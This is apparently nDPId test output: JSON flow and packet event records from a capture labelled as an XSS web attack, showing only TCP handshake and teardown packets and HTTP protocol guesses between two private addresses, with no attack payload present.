+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6545,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":463,"flow_packet_id":1,"flow_first_seen":1499347752308,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60558,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":463,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6545,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347752,"pkt_ts_usec":308453,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8qStAAD4GHKWsEAABwKgKMuyOAFBMoE8CAAAAAKACchDvHQAAAgQFtAQCCAoBO+YpAAAAAAEDAwc="} +00444{"flow_id":463,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6546,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347752,"pkt_ts_usec":308578,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7I5f6lZGTKBPA6AScSB+SAAAAgQFtAQCCAoD5beeATvmKQEDAwc="} +00432{"flow_id":463,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6547,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347752,"pkt_ts_usec":309233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qSxAAD4GHKysEAABwKgKMuyOAFBMoE8DX+pWR4AQAOUdTwAAAQEICgE75ioD5bee"} +00432{"flow_id":460,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6551,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347752,"pkt_ts_usec":825596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eaBAAD4GTDisEAABwKgKMuxYAFDkpJi4GfRAcoARAOWcFAAAAQEICgE75qsD5bKe"} +00432{"flow_id":460,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6552,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347752,"pkt_ts_usec":825814,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+G1AAEAGy2rAqAoyrBAAAQBQ7FgZ9EBy5KSYuYARAOOWlAAAAQEICgPluB8BO+ar"} +00432{"flow_id":460,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6553,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347752,"pkt_ts_usec":826361,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eaFAAD4GTDesEAABwKgKMuxYAFDkpJi5GfRAc4AQAOWWkgAAAQEICgE75qsD5bgf"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6557,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":464,"flow_packet_id":1,"flow_first_seen":1499347753649,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60572,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":464,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6557,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347753,"pkt_ts_usec":649698,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA825ZAAD4G6jmsEAABwKgKMuycAFCJVjzvAAAAAKACchDDHAAAAgQFtAQCCAoBO+d5AAAAAAEDAwc="} +00445{"flow_id":464,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6558,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347753,"pkt_ts_usec":649826,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7Jyb\/4pAiVY88KAScSDg6AAAAgQFtAQCCAoD5bjtATvneQEDAwc="} +00434{"flow_id":464,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6559,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347753,"pkt_ts_usec":650415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA025dAAD4G6kCsEAABwKgKMuycAFCJVjzwm\/+KQYAQAOV\/8AAAAQEICgE753kD5bjt"} +00432{"flow_id":461,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6563,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347753,"pkt_ts_usec":826267,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W1xAAD4GanysEAABwKgKMuxmAFDolLkx+LaZQoARAOU9zwAAAQEICgE756UD5bPf"} +00432{"flow_id":461,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6564,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347753,"pkt_ts_usec":826488,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0IFhAAEAGo4DAqAoyrBAAAQBQ7Gb4tplC6JS5MoARAOM4lQAAAQEICgPluRoBO+el"} +00432{"flow_id":461,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6565,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347753,"pkt_ts_usec":827058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W11AAD4GanusEAABwKgKMuxmAFDolLky+LaZQ4AQAOU4kwAAAQEICgE756UD5bka"} +00432{"flow_id":462,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6569,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347754,"pkt_ts_usec":826858,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IJNAAD4GpUWsEAABwKgKMux0AFD35MM8h0e0DYARAOV40AAAAQEICgE76J8D5bUf"} +00433{"flow_id":462,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6570,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347754,"pkt_ts_usec":827079,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0DhlAAEAGtb\/AqAoyrBAAAQBQ7HSHR7QN9+TDPYARAONz3AAAAQEICgPluhQBO+if"} +00432{"flow_id":462,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6571,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347754,"pkt_ts_usec":827634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IJRAAD4GpUSsEAABwKgKMux0AFD35MM9h0e0DoAQAOVz2gAAAQEICgE76J8D5boU"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6578,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":465,"flow_packet_id":1,"flow_first_seen":1499347756244,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60598,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":465,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6578,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347756,"pkt_ts_usec":244736,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8sh5AAD4GE7KsEAABwKgKMuy2AFCIyFgfAAAAAKACchCl2AAAAgQFtAQCCAoBO+oBAAAAAAEDAwc="} +00444{"flow_id":465,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6579,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347756,"pkt_ts_usec":244833,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7Lb17AxJiMhYIKAScSDlJQAAAgQFtAQCCAoD5bt2ATvqAQEDAwc="} +00432{"flow_id":465,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6580,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347756,"pkt_ts_usec":245448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sh9AAD4GE7msEAABwKgKMuy2AFCIyFgg9ewMSoAQAOWELAAAAQEICgE76gID5bt2"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6587,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":466,"flow_packet_id":1,"flow_first_seen":1499347757502,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60612,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":466,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6587,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347757,"pkt_ts_usec":502001,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UWhAAD4GdGisEAABwKgKMuzEAFA\/lLpUAAAAAKACchCLjgAAAgQFtAQCCAoBO+s8AAAAAAEDAwc="} +00444{"flow_id":466,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6588,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347757,"pkt_ts_usec":502159,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7MQtkPNXP5S6VaAScSCq7wAAAgQFtAQCCAoD5bywATvrPAEDAwc="} +00433{"flow_id":466,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6589,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347757,"pkt_ts_usec":502760,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UWlAAD4GdG+sEAABwKgKMuzEAFA\/lLpVLZDzWIAQAOVJ9wAAAQEICgE76zwD5byw"} +00432{"flow_id":463,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6593,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347757,"pkt_ts_usec":827193,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qS1AAD4GHKusEAABwKgKMuyOAFBMoE8DX+pWR4ARAOUX6wAAAQEICgE7640D5bee"} +00432{"flow_id":463,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6594,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347757,"pkt_ts_usec":827429,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA060VAAEAG2JLAqAoyrBAAAQBQ7I5f6lZHTKBPBIARAOMSiAAAAQEICgPlvQIBO+uN"} +00432{"flow_id":463,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6595,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347757,"pkt_ts_usec":828213,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qS5AAD4GHKqsEAABwKgKMuyOAFBMoE8EX+pWSIAQAOUShgAAAQEICgE7640D5b0C"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6599,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":467,"flow_packet_id":1,"flow_first_seen":1499347758774,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60626,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":467,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6599,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347758,"pkt_ts_usec":774129,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83kZAAD4G54msEAABwKgKMuzSAFAZPzI8AAAAAKACchA4sAAAAgQFtAQCCAoBO+x6AAAAAAEDAwc="} +00444{"flow_id":467,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6600,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347758,"pkt_ts_usec":774286,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7NL2+p6BGT8yPaAScSDiPQAAAgQFtAQCCAoD5b3vATvsegEDAwc="} +00432{"flow_id":467,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6601,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347758,"pkt_ts_usec":775001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03kdAAD4G55CsEAABwKgKMuzSAFAZPzI99vqegoAQAOWBRQAAAQEICgE77HoD5b3v"} +00433{"flow_id":464,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6605,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347758,"pkt_ts_usec":827347,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA025hAAD4G6j+sEAABwKgKMuycAFCJVjzwm\/+KQYARAOV64QAAAQEICgE77IcD5bjt"} +00433{"flow_id":464,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6606,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347758,"pkt_ts_usec":827608,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0N71AAEAGjBvAqAoyrBAAAQBQ7Jyb\/4pBiVY88YARAON10wAAAQEICgPlvfwBO+yH"} +00433{"flow_id":464,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6607,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347758,"pkt_ts_usec":828328,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA025lAAD4G6j6sEAABwKgKMuycAFCJVjzxm\/+KQoAQAOV10QAAAQEICgE77IcD5b38"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6617,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":468,"flow_packet_id":1,"flow_first_seen":1499347761418,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60652,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":468,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6617,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347761,"pkt_ts_usec":418781,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8apdAAD4GWzmsEAABwKgKMuzsAFC\/aIWYAAAAAKACchA8ewAAAgQFtAQCCAoBO+8PAAAAAAEDAwc="} +00444{"flow_id":468,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6618,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347761,"pkt_ts_usec":418909,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7OwFUgVYv2iFmaAScSBuRgAAAgQFtAQCCAoD5cCEATvvDwEDAwc="} +00433{"flow_id":468,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6619,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347761,"pkt_ts_usec":419670,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aphAAD4GW0CsEAABwKgKMuzsAFC\/aIWZBVIFWYAQAOUNTgAAAQEICgE77w8D5cCE"} +00432{"flow_id":465,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6623,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347761,"pkt_ts_usec":828296,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0siBAAD4GE7isEAABwKgKMuy2AFCIyFgg9ewMSoARAOV+uAAAAQEICgE773UD5bt2"} +00432{"flow_id":465,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6624,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347761,"pkt_ts_usec":828509,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zKBAAEAG9zfAqAoyrBAAAQBQ7Lb17AxKiMhYIYARAON5RQAAAQEICgPlwOoBO+91"} +00432{"flow_id":465,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6625,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347761,"pkt_ts_usec":829395,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0siFAAD4GE7esEAABwKgKMuy2AFCIyFgh9ewMS4AQAOV5QgAAAQEICgE773YD5cDq"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":425,"flow_packet_id":6,"flow_first_seen":1499347687089,"flow_last_seen":1499347692807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59852,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":425,"flow_packet_id":6,"flow_first_seen":1499347687089,"flow_last_seen":1499347692807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":426,"flow_packet_id":6,"flow_first_seen":1499347688364,"flow_last_seen":1499347693807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59866,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":426,"flow_packet_id":6,"flow_first_seen":1499347688364,"flow_last_seen":1499347693807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59866,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":427,"flow_packet_id":6,"flow_first_seen":1499347689613,"flow_last_seen":1499347694807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59880,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":427,"flow_packet_id":6,"flow_first_seen":1499347689613,"flow_last_seen":1499347694807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59880,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":428,"flow_packet_id":6,"flow_first_seen":1499347692128,"flow_last_seen":1499347697807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59906,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":428,"flow_packet_id":6,"flow_first_seen":1499347692128,"flow_last_seen":1499347697807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":429,"flow_packet_id":6,"flow_first_seen":1499347693386,"flow_last_seen":1499347698807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59920,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":429,"flow_packet_id":6,"flow_first_seen":1499347693386,"flow_last_seen":1499347698807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59920,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 